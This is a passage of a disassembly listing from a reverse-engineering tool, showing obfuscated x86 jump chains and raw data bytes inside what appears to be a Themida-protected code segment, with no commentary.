		add	[esp], eax
		pushf
		jmp	loc_502B6E
; ---------------------------------------------------------------------------
		dd 1C8B5453h, 40E2E924h, 0F8000000h, 0B7532204h, 5BF828EAh
		dd 6124E9h, 8BCB0100h, 5AE9240Ch, 8B00004Ah, 9BE92424h
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_507BD3:				; CODE XREF: Themida_:00505BBFj
		pop	edx
		xchg	eax, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_5063FF
; ---------------------------------------------------------------------------
		dd 5604C483h, 4BEh, 8BF70100h, 37E92434h, 5FFFFBFh, 293941BCh
		dd 0A1DE9h, 0D831AD00h,	81E68956h, 4C6h, 4B85000h, 81000000h
		dd 0D42E83C6h, 81C6292Ah, 0D42E83EEh, 3487582Ah, 24248B24h
		dd 0FFE5E5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_507C29:				; CODE XREF: Themida_:0050C11Dj
		xchg	edi, [esp]
		jmp	loc_50A9E7
; ---------------------------------------------------------------------------

loc_507C31:				; CODE XREF: Themida_:005057B5j
		sub	eax, ebx
		jmp	loc_509F2C
; ---------------------------------------------------------------------------
		dd 77F0BA52h, 0CA811246h, 787D351Eh, 593BE953h,	0C4830000h
		dd 0E9E83004h, 480h
; ---------------------------------------------------------------------------

loc_507C54:				; CODE XREF: Themida_:0050AEE6j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_50BA44
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 6624248Bh, 66240C89h, 66C8B60Fh, 0F7E99C51h
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_507C77:				; CODE XREF: Themida_:0050D32Cj
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		jmp	loc_50A43E
; ---------------------------------------------------------------------------
		dw 14F7h
		dd 0C5815D24h, 36EEC951h, 0EEE9EF01h, 89000060h, 2B0558C1h
		dd 0E9225F26h, 47E6h, 4B850h, 1BE90000h, 55000067h, 0A0644CBDh
		dd 0E9D5F756h, 0FFFFDBF3h, 0E902EC83h, 363Eh, 0F6D78853h
		dd 0FC8850D7h, 638CE9h,	66596600h, 0E9E5B652h, 1985h
; ---------------------------------------------------------------------------

loc_507CE8:				; CODE XREF: Themida_:00505A93j
		sub	esi, ecx
		pop	ecx
		add	esi, ecx
		add	esi, 59A009EBh
		jmp	loc_50DCDF
; ---------------------------------------------------------------------------
		dd 4EC815Bh, 89000000h,	0AB682414h, 0E9000059h,	3E26h
		dd 0E92424D3h, 0FFFFAE5Ah
; ---------------------------------------------------------------------------

loc_507D14:				; CODE XREF: Themida_:00508AB6j
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 2
		jmp	loc_50671E
; ---------------------------------------------------------------------------
		db 93h,	58h, 81h
		dd 0F407F9C3h, 0E200E940h, 0E941FFFFh, 0FFFFCB7Ch, 3BD2C581h
		dd 51587529h, 24C668h, 242C8900h, 0FFF797E9h, 685559FFh
		dd 17F2h, 0E9242489h, 6F12h, 68243C89h,	264515C9h, 81243C8Bh
		dd 4C4h, 44F78100h, 57512BA8h, 674EE9h
		db 0
; ---------------------------------------------------------------------------

loc_507D79:				; CODE XREF: Themida_:0050D768j
		mov	esi, 26803F03h
		or	eax, esi
		pop	esi
		add	eax, 6881FF54h
		add	edx, eax
		jmp	loc_509E53
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 5B66F800h, 64A2E9h, 242C8900h, 4768E589h, 89000019h
		dd 0BBE9241Ch
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_507DAB:				; CODE XREF: Themida_:0050D457j
		pop	esp
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_50C9F2
; ---------------------------------------------------------------------------
		db 0FEh, 0C0h, 0E9h
		dd 1E47h, 54240489h, 40558h, 42D0000h, 87000000h, 248B2404h
		dd 24148924h, 0FEE93CB6h, 66000054h, 68240C8Bh,	23C1h
		dd 54243C89h, 32E9535Fh
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_507E07:				; CODE XREF: Themida_:00505096j
		sub	eax, ebp
		pop	ebp
		pop	ebp
		pop	edi
		push	ebp
		mov	ebp, 58CB2189h
		push	edx
		push	eax
		jmp	loc_50585C
; ---------------------------------------------------------------------------

loc_507E19:				; CODE XREF: Themida_:00504C20j
		mov	edx, 6E39314Ch
		add	eax, edx
		pop	edx
		add	eax, 66252F2Dh
		jmp	loc_50C37D
; ---------------------------------------------------------------------------
		db 56h
		dd 0C681E689h, 4, 0E904C683h, 402Eh, 6F04F828h,	7EB55166h
		dd 3BE9E828h, 1000037h,	241C8BDFh, 0FFF71DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_507E55:				; CODE XREF: Themida_:00509709j
		push	ebx
		inc	dword ptr [esp]
		pop	ebx
		add	ebx, 0AE6FC5FBh
		jmp	loc_5051A0
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 4EC8324h, 54240489h,	0E9575558h, 0FFFFD55Eh,	0E9240489h
		dd 2446h, 864153BFh, 1D27E910h,	565E0000h, 0FFC44EE9h
		dd 0CF815BFFh, 7841E50h, 7FF7EF81h, 0F80177F7h,	2055Fh
		dd 4870000h, 85665C24h,	35E99CC8h
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_507EB3:				; CODE XREF: Themida_:00506964j
		shl	ecx, 4
		neg	ecx
		xor	ecx, 6D5CA944h
		sub	esp, 4
		jmp	loc_50498D
; ---------------------------------------------------------------------------
		dw 0D689h
		dd 4CEE815Ah, 0E91B124Bh, 0FFFFD5F6h, 7A667D05h, 12700D46h
		dd 0E0C14CAEh, 0FEFC2D06h, 79E9FFA6h, 81000056h, 4C2h
		dd 0E8E95000h
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_507EF7:				; CODE XREF: Themida_:0050673Cj
		push	ax
		mov	ah, 0A4h
		xor	dl, ah
		pop	ax
		shl	dl, 6
		not	dl
		xor	dl, 4Fh
		sub	bl, dl
		jmp	loc_5057CB
; ---------------------------------------------------------------------------
		dw 5366h
		dd 0D8281EB3h, 5EBBE9h,	0CC66800h, 24890000h, 0E56EE924h
		dd 0DF31FFFFh, 0BA52475Bh, 7EE1FA2h, 1179E9h, 5E545600h
		dd 4C681h, 0C6810000h, 4, 31243433h, 32E92434h,	55000064h
		dd 57AFE9h
		db 0
; ---------------------------------------------------------------------------

loc_507F55:				; CODE XREF: Themida_:0050B615j
		mov	esi, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		jmp	loc_508D75
; ---------------------------------------------------------------------------
		dd 5C241487h, 58B8E9h, 82B95100h, 556BBC4Eh, 727878BDh
		dd 580FE90Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_507F86:				; CODE XREF: Themida_:00502CE0j
		add	esp, 4
		jmp	loc_50C826
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 9Fh
		dd 0E936D060h, 0FFFFCEFAh, 4C181h, 0C1830000h, 240C8704h
		dd 74FF575Ch, 0E95F0424h, 38ADh, 5004C483h, 0FFC349E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_507FBD:				; CODE XREF: Themida_:00508183j
		mov	[esp], ecx
		mov	ecx, 44AF027Eh
		xor	eax, ecx
		jmp	loc_50BEB5
; ---------------------------------------------------------------------------
		dd 81243C8Bh, 4ECh, 243C8900h, 0FFDAF2E9h, 0C3815BFFh
		dd 4, 6667E9h
		db 0
; ---------------------------------------------------------------------------

loc_507FE9:				; CODE XREF: Themida_:0050DCE0j
		xor	esi, [esp]
		jmp	loc_5081FA
; ---------------------------------------------------------------------------
		db 66h,	53h, 0B3h
		dd 66DA080Bh, 0C0DAF65Bh, 0B6E908EAh, 56000038h, 0FFD0A5E9h
		dd 81C381FFh, 0E96C454Ch, 38F7h, 0C908E957h, 8358FFFFh
		dd 536604C4h, 0D82834B3h, 0E8285B66h, 34FF3404h, 0BA31E924h
		dd 405FFFFh, 0E9000000h, 0FFFFEFC3h, 0C1815954h, 4, 0FFBF0BE9h
		dd 8BCA01FFh, 0C481240Ch, 4, 2BF57h, 0FA010000h, 8B2434FFh
		dd 0C481243Ch, 4, 8704C483h, 248B2414h,	7056E924h, 0EF890000h
		dd 16F7815Dh, 815F3214h, 563509F7h, 0B7C3810Ah,	129610Dh
		dd 0B7EB81FBh, 5F29610Dh, 0EB81CB29h, 31A67FA8h, 5BDE0159h
		dd 0FFBC1EE9h, 0EE015BFFh, 1CEC681h, 0BAE95E3Dh, 8300003Bh
		dd 0F03002C4h, 24148B66h, 2C481h, 0C3300000h, 66C0B60Fh
		dd 6646F468h, 0E9240489h, 0FFFFAA9Ah, 0B6525359h, 1C68046h
		dd 52B7B450h, 19E989B6h, 0B9FFFFCAh, 67C1493h, 2CBFE9h
		dd 4BF5700h, 1000000h, 0E9535FF9h, 6BDEh, 6721EB81h, 0BFE96319h
		dd 5CFFFFBCh, 4EC8152h,	89000000h, 0E9512434h, 5A8Bh
; ---------------------------------------------------------------------------

loc_50811C:				; CODE XREF: Themida_:0050BE3Cj
		push	793Bh
		mov	[esp], ecx
		jmp	loc_50AA5E
; ---------------------------------------------------------------------------
		db 80h,	0CDh, 2
		dd 201EED80h, 0CEFE59EEh, 2837F680h, 0C04CE9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50813E:				; CODE XREF: Themida_:0050968Aj
		pop	eax
		jmp	loc_5051D2
; ---------------------------------------------------------------------------

loc_508144:				; CODE XREF: Themida_:0050D76Ej
		xchg	ebx, ebp
		jmp	loc_50DA6D
; ---------------------------------------------------------------------------
		db 89h
		dd 4812424h, 424h, 0E9565D00h, 4CAEh
; ---------------------------------------------------------------------------

loc_50815C:				; CODE XREF: Themida_:00505204j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	ebp, 0B667768Ah
		mov	esi, ebp
		jmp	loc_505BE7
; ---------------------------------------------------------------------------
		dd 0E95AD101h, 672Fh, 0E9240489h, 0FFFFF554h
; ---------------------------------------------------------------------------

loc_508180:				; CODE XREF: Themida_:0050D694j
		mov	esp, [esp]
		jmp	loc_507FBD
; ---------------------------------------------------------------------------

loc_508188:				; CODE XREF: Themida_:0050404Cj
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	edx
		jmp	loc_5094A9
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 6FC2h, 89243489h,	4C681E6h, 53000000h, 2BBh
		dd 0FFDE0100h, 505B2434h, 44E9E089h, 4FFFFBBh, 0F5C38077h
		dd 0CFE9C328h, 1FFFFDCh, 3C8759CFh, 8B665C24h, 89512404h
		dd 4C181E1h, 83000000h,	0C8704E9h, 3C895C24h, 3C8B5424h
		dd 40D5E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5081FA:				; CODE XREF: Themida_:00507FECj
		xor	[esp], esi
		jmp	loc_504617
; ---------------------------------------------------------------------------
		dw 0EFC1h
		dd 38C78108h, 81558A10h, 8C0FF5F7h, 5FF80155h, 510DBE56h
		dd 0E6816A1Eh, 363C5A20h, 0DA6EE81h, 0C0E913B2h
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_50822B:				; CODE XREF: Themida_:005098F7j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	esi
		jmp	loc_503EDD
; ---------------------------------------------------------------------------
		dd 0B951FB01h, 0
		dd 1CE9D901h, 59000009h, 8098B151h, 526645C1h, 0F1303EB6h
		dd 0E1805A66h, 0FFC18065h, 0C180D1F6h, 0B05066BEh, 66C3281Dh
		dd 5D77E958h, 34870000h, 2C895C24h, 4EC8324h, 0BE243489h
		dd 6CDB1BACh, 0C106E6C1h, 4EE904EEh
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50828B:				; CODE XREF: Themida_:00508C8Bj
		sub	eax, 2AC6122Dh
		mov	ebp, [esp]
		push	edx
		sub	esp, 4
		jmp	loc_50E110
; ---------------------------------------------------------------------------
		dd 0FFD83158h, 835B2434h, 0C33104C4h, 253F68h, 0BF1BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5082B2:				; CODE XREF: Themida_:00508D7Aj
		sub	eax, 4
		jmp	loc_50D691
; ---------------------------------------------------------------------------
		dw 0D801h
		dd 35EDE9h, 0CA815A00h,	4C2C013Ch, 657AEA81h, 0F7526714h
		dd 8BE92414h
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5082D7:				; CODE XREF: Themida_:0050A2F5j
		mov	ecx, 98228FDh
		add	ebx, ecx
		pop	ecx
		not	ebx
		xor	ebx, 211745B8h
		and	ecx, ebx
		pop	ebx
		shr	ecx, 7
		push	5616h
		mov	[esp], esi
		jmp	loc_50D9D9
; ---------------------------------------------------------------------------
		dw 0D828h
		dd 66AA045Bh, 8324148Bh, 0BDE902C4h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50830B:				; CODE XREF: Themida_:005037A4j
		pop	eax
		push	edx
		jmp	loc_50DF95
; ---------------------------------------------------------------------------
		dw 5DB9h
		dd 1423D0Ah, 4362E9CAh,	0E8290000h, 2BC6E9h, 55DEF700h
		dd 0FE2E3F68h, 0EE295D63h, 83242C8Bh, 0DEF704C4h, 779C681h
		dd 0DBE969C7h, 89000067h, 0ED8159CDh, 1D4F1FC9h, 0FFC997E9h
		dd 0C8B66FFh, 0E7895724h, 3CE4E9h, 5335B400h, 0FFB592E9h
		dd 4BCF68FFh, 1C890000h, 5749E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_508372:				; CODE XREF: Themida_:0050876Dj
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		jmp	loc_509300
; ---------------------------------------------------------------------------
		db 91h
		dd 15070D40h, 48E91398h, 29FFFFC0h, 23CAE9D8h, 0D7E90000h
		dd 80FFFFA7h, 0CB00F7E9h, 0E9C32859h, 16D5h
; ---------------------------------------------------------------------------

loc_5083A4:				; CODE XREF: Themida_:00506E0Ej
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_5093AE
; ---------------------------------------------------------------------------
		db 83h
		dd 3C8704C4h, 24248B24h, 9C240409h, 0FFA7ADE9h,	0A4C681FFh
		dd 1405EACh, 0CA45E9F5h, 0F766FFFFh, 0E99C241Ch, 0FFFFA796h
		dd 3E6CF281h, 0C3E91A2Bh, 52000065h, 0C2FEFBB2h, 0F280DAF6h
		dd 6E2C02Ch, 8A6C280h, 0E95AD3h, 58000059h, 90E95266h
		dd 89000054h, 34FF2404h, 0E9525A24h, 4CC3h, 4C281h, 14870000h
		dd 89E95C24h, 1FFFFD3h,	24148BD1h, 4C481h, 89520000h, 426CE9CAh
		dd 9580000h, 0E5D1E9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50843A:				; CODE XREF: Themida_:00505BD6j
		pop	ebx
		shr	ecx, 6
		push	620Fh
		mov	[esp], ebp
		mov	ebp, 4D771C4Bh
		xor	ebp, 4FB49F54h
		sub	ecx, ebp
		pop	ebp
		and	eax, ecx
		jmp	loc_50C8B4
; ---------------------------------------------------------------------------
		db 0BAh
		dd 0CCA614Ah, 2390E281h, 0BE9103Dh, 52FFFFE9h, 88146FBAh
		dd 0DFC3E901h, 0BA52FFFFh, 62375461h, 2F31E9h
		db 0
; ---------------------------------------------------------------------------

loc_508481:				; CODE XREF: Themida_:005087F5j
		mov	eax, 0E683C8Fh
		shr	eax, 3
		dec	eax
		xor	eax, 48541E39h
		sub	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		pop	ecx
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		push	544Dh
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	esi
		push	ebx
		jmp	loc_50B727
; ---------------------------------------------------------------------------
		dw 97BBh
		dd 4B095666h, 6692BE56h, 44E90956h, 0BD000005h,	625053E7h
		dd 0DDF7D5F7h, 0D5F7DDF7h, 53E3ED81h, 0BB536250h, 5E3D01CEh
		dd 327FBB53h, 0F38145ADh, 57681987h, 81DBF74Bh,	5EB1F3h
		dd 0C381437Eh, 0AB68C71Eh, 1C8BDE01h, 4C48324h,	0EE81DE29h
		dd 3EA351D7h, 0FFFB88E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_50851D:				; CODE XREF: Themida_:00508CEFj
		xor	ebp, edx
		pop	edx
		and	eax, ebp
		mov	ebp, [esp]
		jmp	loc_50460F
; ---------------------------------------------------------------------------
		dw 85B3h
		dd 5B00E9h
		db 0
; ---------------------------------------------------------------------------

loc_508531:				; CODE XREF: Themida_:0050DA31j
		xor	ebp, 20810C04h
		and	ebp, 202A043Eh
		sub	ebp, 202A040Ch
		push	esi
		push	ebp
		jmp	loc_5039B9
; ---------------------------------------------------------------------------
		dw 8158h
		dd 4C5h, 0B62BE900h, 6E0DFFFFh,	50A350Eh, 2DF1CDDh, 63CE948h
		dd 0C8B0000h, 4C48124h,	81000000h, 4ECh, 24148900h, 5556E289h
		dd 5F6DBA52h, 0D589453Eh, 0E924148Bh, 6AF5h, 42474FFh
		dd 8124148Bh, 4C4h, 24048F00h, 24248Bh,	806859C8h, 89000020h
		dd 0C6E92404h, 81FFFFE5h, 515844C1h, 59CD01F8h,	0E9242C87h
		dd 0D85h
; ---------------------------------------------------------------------------

loc_5085C0:				; CODE XREF: Themida_:00508933j
		mov	[esp], ebx
		push	3E91h
		mov	[esp], ecx
		push	ebx
		jmp	loc_5060F1
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 52h
		dd 5537650Bh, 47644ABDh, 5DEA29CBh, 148BD689h, 4C48324h
		dd 875EF201h, 0E95C2414h, 0FFFFA57Ah, 2B951h, 0C8010000h
		dd 3700E959h, 4AC0000h,	2EC8134h, 66000000h, 0B7241C89h
		dd 66F8280Ah, 0B117E95Bh, 0D801FFFFh, 4EC8355h,	0FFDE1EE9h
		dd 0D8BB53FFh, 817A4103h, 0DB4A52C3h, 81D3F75Bh, 0DD2CEFC3h
		dd 0B1F3812Ah, 81B28568h, 0CF2BF1C7h, 81DF292Bh, 0CF2BF1EFh
		dd 241C8B2Bh, 4C481h, 0FA290000h, 83243C8Bh, 875E04C4h
		dd 248B2414h, 3CD36624h, 0FFE99C24h, 51FFFFA4h,	483630B9h
		dd 0E289523Fh, 3073E9h,	0C2EA8100h, 5D22EC00h, 0E9241487h
		dd 0FFFFAEC5h, 0BB53E089h, 4, 2B98B951h, 0A6E972B0h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50869F:				; CODE XREF: Themida_:00506719j
		mov	esp, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_50A1AC
; ---------------------------------------------------------------------------

loc_5086AA:				; CODE XREF: Themida_:0050D1E8j
		shl	edx, 1
		push	ecx
		mov	ecx, 24h
		jmp	loc_508938
; ---------------------------------------------------------------------------
		db 0Dh
		dd 1C6426A7h, 2953548h,	9351C88h, 8957D0A3h, 0F20158C6h
		dd 2BBB535Eh, 810E583Fh, 0D56940EBh, 9AE9433Bh
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5086DF:				; CODE XREF: Themida_:0050D4A7j
		push	eax
		mov	eax, 20h
		sub	eax, 11A93E1Ch
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_50D05D
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 0E9000000h, 3653h, 0B75366ACh, 66F80006h, 32C4E95Bh
		dd 4010000h, 79BA5224h,	8103E018h, 9404246Ch, 179393Dh
		dd 81042454h, 94042444h, 8B79393Dh, 0EBE92414h,	0BA000056h
		dd 1EBFE5Ah, 0FFFCDAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_508745:				; CODE XREF: Themida_:0050BE97j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_504C13
; ---------------------------------------------------------------------------

loc_508750:				; CODE XREF: Themida_:00503617j
		add	eax, 59D72E70h
		pop	ebp
		add	eax, 4
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_50CF97
; ---------------------------------------------------------------------------

loc_508764:				; CODE XREF: Themida_:00508C37j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_508372
; ---------------------------------------------------------------------------
		dw 0DE01h
		dd 2434875Bh, 4EC835Ch,	54243C89h, 4BE565Fh, 1000000h
		dd 0C7815EF7h, 4, 8B243C87h, 8F682424h,	8900007Fh, 6E92434h
		dd 0FFFFFFBCh, 0E9582434h, 0FFFFCE71h
; ---------------------------------------------------------------------------

loc_5087AC:				; CODE XREF: Themida_:0050AD24j
		mov	edx, 7C7B15BCh
		xor	edx, 5E3436DEh
		push	esi
		jmp	loc_505BA9
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 4C481h, 0B8500000h, 4, 259E9h, 79E95B00h, 0FF000039h
		dd 0E9042474h, 46E2h
; ---------------------------------------------------------------------------

loc_5087E0:				; CODE XREF: Themida_:00507905j
		mov	eax, [esp]
		add	esp, 4
		sub	ebp, 7E432C42h
		add	ebp, ecx
		add	ebp, 7E432C42h
		push	eax
		jmp	loc_508481
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 5CE92404h, 81FFFFB7h, 0AD37D0C5h, 0CED814Dh,	81BBE600h
		dd 595549C3h, 52EB0107h, 587743BAh, 0FAEA8158h,	2950FF21h
		dd 0E95D5AD3h, 0FFFFB43Bh, 0E924148Bh, 6468h, 24048F58h
		dd 3824248Bh, 2BE99CC1h, 5BFFFFA3h, 31240C33h, 0C33240Ch
		dd 0E92BE924h, 15EFFFFh, 8BEB81C3h, 66023A76h, 5624148Bh
		dd 0E659E954h, 5431FFFFh, 585A0424h, 45130735h,	0EF815D79h
		dd 2D3B1141h, 0FFE187E9h, 4EC81FFh, 0E9000000h,	51D1h
		dd 0DC880DB3h, 0E288525Bh, 288DE9h, 24B46800h, 505D5F3Dh
		dd 3A11F2B8h, 0A55EE95Bh, 0E958FFFFh, 421Eh
; ---------------------------------------------------------------------------

loc_5088AC:				; CODE XREF: Themida_:0050EEC3j
		add	al, bl
		mov	bx, [esp]
		jmp	loc_50F276
; ---------------------------------------------------------------------------

loc_5088B7:				; CODE XREF: Themida_:0050618Cj
		pop	ecx
		pop	eax
		add	ecx, esi
		jmp	loc_50F26E
; ---------------------------------------------------------------------------
		dd 0B652C8FEh, 8BF030EAh, 0C4812414h, 4, 0D2E98934h, 81FFFFAEh
		dd 0C97876CEh, 0DBB5320h, 1D11602h, 2434FFDEh, 0FFE526E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5088ED:				; CODE XREF: Themida_:0050B8D5j
		inc	esi
		push	0
		sub	[esp], esi
		jmp	loc_503C33
; ---------------------------------------------------------------------------
		db 53h
		dd 0F0FEBBBh, 245C293Ah, 148B5B04h, 0D858E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50890E:				; CODE XREF: Themida_:0050C598j
		sub	eax, 5742456Bh
		sub	eax, 3FF2334Ah
		mov	ecx, [esp]
		add	esp, 4
		push	14DDh
		jmp	loc_50EF82
; ---------------------------------------------------------------------------

loc_50892B:				; CODE XREF: Themida_:0050E463j
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_5085C0
; ---------------------------------------------------------------------------

loc_508938:				; CODE XREF: Themida_:005086B2j
		add	ecx, edi
		push	68A8h
		mov	[esp], edx
		push	esp
		pop	edx
		push	ebx
		mov	ebx, 2E8D5B3Ch
		neg	ebx
		not	ebx
		xor	ebx, 66043F69h
		not	ebx
		xor	ebx, 65D7224Ch
		jmp	loc_5046DD
; ---------------------------------------------------------------------------
		db 33h,	1Ch, 24h
		dd 33241C31h, 248B241Ch, 0F427E924h, 77FFFFFFh,	11589D1Ch
		dd 0E99C2404h, 0FFFFA1EEh
; ---------------------------------------------------------------------------

loc_508980:				; CODE XREF: Themida_:0050C846j
		mov	ecx, esp
		push	ebx
		push	edi
		push	34191321h
		jmp	loc_509718
; ---------------------------------------------------------------------------

loc_50898E:				; CODE XREF: Themida_:00506420j
		sub	ecx, 52D552Bh
		add	edx, ecx
		pop	ecx
		jmp	loc_5063A3
; ---------------------------------------------------------------------------
aZSnz		db '‡<$énZ',0
		align 4
		dd 24048B66h, 0E95A5452h, 0FFFFF53Bh, 268h, 0F142E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5089BA:				; CODE XREF: Themida_:00503179j
		add	esp, 4
		push	ebp
		mov	ebp, 0F0DCDF8Bh
		jmp	loc_5056A9
; ---------------------------------------------------------------------------
		dd 0E9240C8Bh, 14EAh, 295EE81h,	0C6011B30h, 295C681h, 0EE811B30h
		dd 7F4705B2h, 4957BD55h, 0EE01535Ah, 0FFBA63E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5089F1:				; CODE XREF: Themida_:0050F271j
		add	esp, 4
		jmp	loc_503207
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 40h
		dd 0FFA16DE9h, 28C104FFh, 5AC12CF0h, 377FE9h, 89F08900h
		dd 0B0E958C5h, 29000039h, 0C3E95EF3h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_508A1F:				; CODE XREF: Themida_:0050C442j
		add	esp, 4
		jmp	loc_50EF4D
; ---------------------------------------------------------------------------
		dw 0C501h
		dd 4C58358h, 31242C33h,	0B8E9242Ch
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_508A3B:				; CODE XREF: Themida_:00503DC5j
		pop	edx
		jmp	loc_503CD9
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 0FFB25CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_508A49:				; CODE XREF: Themida_:0050BA0Ej
		push	esi
		push	ebp
		push	173C3B94h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_507080
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0D49CE958h, 8B66FFFFh, 79682404h, 89000027h,	0EC832414h
		dd 48F5404h, 24048124h,	4, 8324148Bh, 0C28104C4h, 4, 2BE56h
		dd 0F2010000h, 5E20E9h
		db 0
; ---------------------------------------------------------------------------

loc_508A95:				; CODE XREF: Themida_:0050A99Bj
		pop	esp
		mov	[esp], ebx
		mov	bl, 0C7h
		push	dx
		mov	dh, 42h
		dec	dh
		xor	dh, 9Fh
		xor	dh, 0CCh
		xor	dh, 0D1h
		xor	dh, 0A6h
		add	dh, 3
		sub	bl, dh
		mov	dx, [esp]
		jmp	loc_507D14
; ---------------------------------------------------------------------------
		db 56h
		dd 283FF0BEh, 14C6813Bh, 81C4D7C0h, 0D77CC1C5h,	51F50156h
		dd 0C7771AB9h, 12E98119h, 0F75CA50Fh, 0C9C181D9h, 2913F9E4h
		dd 0CA94E9CDh, 0E942FFFFh, 0FFFFBB7Ah, 25EEF381h, 0E3C15D7Bh
		dd 5EBC103h, 0C381DBF7h, 9FA8B36Ah, 505BDF29h, 75BE9h
		dd 24048B00h, 5068E9h, 5AD30100h, 82B95157h, 81606E74h
		dd 0C83ED8E9h, 81D1F721h, 59CA57F1h, 8BCF89C1h,	0C481240Ch
		dd 4, 335FFB01h, 1C31241Ch, 241C3324h, 0FFC631E9h, 51668FFh
		dd 14890000h, 0BA56E924h, 0F581FFFFh, 7512068Dh, 31E9E989h
		dd 1FFFFAAh, 8B5B5911h,	0D5E92414h, 8B000025h, 0EC81241Ch
		dd 4, 54241C89h, 0E9241C8Bh, 0FFFFF2A7h, 5C24048Fh, 0FF9FE1E9h
		dd 0C7815FFFh, 70754A8Fh, 8108EFC1h, 3A0FEBEFh,	277AE909h
		dd 79250000h, 5251AE15h, 0FFEFAAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_508BAD:				; CODE XREF: Themida_:00505739j
		mov	ebx, 3F7B47D2h
		xor	eax, ebx
		pop	ebx
		add	edi, eax
		mov	eax, [esp]
		jmp	loc_50A0D9
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8704EBh, 24895C24h, 4E95324h, 8800004Eh, 0CE70E9C6h
		dd 0BE56FFFFh, 20h, 4F0EE9h, 5AD58900h,	2C8BEB89h, 4C48124h
		dd 1000000h, 5B04245Ch,	4C5815Dh, 81000000h, 2C5h, 74FF5500h
		dd 8F5D0424h, 248B2404h, 0BB0F6624h, 0E99C2404h, 0FFFF9F56h
		dd 7E9C15Dh, 0E906E1C1h, 0FFFFF98Bh, 44F46851h,	0E9594E93h
		dd 18B5h
; ---------------------------------------------------------------------------

loc_508C30:				; CODE XREF: Themida_:00509FCBj
		pop	eax
		and	ecx, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_508764
; ---------------------------------------------------------------------------
		dd 0E9242C89h, 0FFFFFC51h, 0B8D5E958h, 15BFFFFh, 30EFE9C8h
		dd 248B0000h, 0E26BE924h, 0DE01FFFFh, 0B6F6815Bh, 210D8956h
		dd 77FF5EF0h, 0CAD0E91Ch, 0B4B8FFFFh, 96CF71Dh,	4BE958C6h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

